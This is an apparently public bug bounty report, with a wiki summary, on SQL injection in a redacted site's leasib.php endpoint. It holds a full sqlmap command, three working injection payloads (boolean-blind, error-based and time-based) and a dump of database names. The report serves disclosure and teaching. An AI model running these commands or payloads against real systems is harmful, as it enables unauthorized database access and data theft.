SQL injection at [█████████] [HtUS]
The endpoint /olc/set/m101/leasib.php was vulnerable to SQL injection through the scn, SUBJECT, and COURSEID parameters. An attacker could use this to gain access to the database.
- Triaged in 3 hours
- Fixed in 37 days
- Paid in 3 hours
- Disclosed after 2 months
Hello,
##Summary
while doing test on █████ I’ve found that the endpoint at /olc/set/m101/leasib.php is vulnerable with SQL injection vulnerability
##Vulnerable parameters
- scn
- SUBJECT
- COURSEID
##POC
- using sqlmap run command
python3 [sqlmap.py](http://sqlmap.py/) --level=5 --risk=3 --tamper=space2comment --random-agent -u [https://████/olc/set/m101/leasib.php](https://█████/olc/set/m101/leasib.php) --data="COURSEID=M101&SUBJECT=Entry%20Briefing&StudentName=dPbRKJwr&Submit=Submit%20Confirmation&scn=0" -p scn - we can se that the target is vulnerable
Parameter: scn (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x5648745a FROM DUAL WHERE 7300=7300 AND 1308=1308)||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x47636148 FROM DUAL WHERE 1321=1321 AND (SELECT 7303 FROM(SELECT COUNT(*),CONCAT(0x7171706271,(SELECT (ELT(7303=7303,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x47774954 FROM DUAL WHERE 5475=5475 AND (SELECT 6347 FROM (SELECT(SLEEP(5)))eoxH))||'
---
- add - -dbs we can see the databases
available databases [13]:
[*] ███
[*] ███mobile
[*] GET
[*] information_schema
[*] LEAM
[*] leat
[*] LEV
[*] mysql
[*] performance_schema
[*] SET
[*] test
[*] testadmin
[*] testusers
Impact
allows remote attacker to gain access to the database
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
allows remote attacker to gain access to the database
What the attacker needed
Access to the endpoint
How it was found
- Use sqlmap with the specified options on the target URL and POST data, focusing on the scn parameter.
- Observe that sqlmap reports boolean-based blind, error-based, and time-based blind SQL injection.
- Add the --dbs option to list available databases.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when a website puts user input directly into a database command without checking it. Here, the attacker could send special characters in a form field to make the database reveal its contents, like listing all databases.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.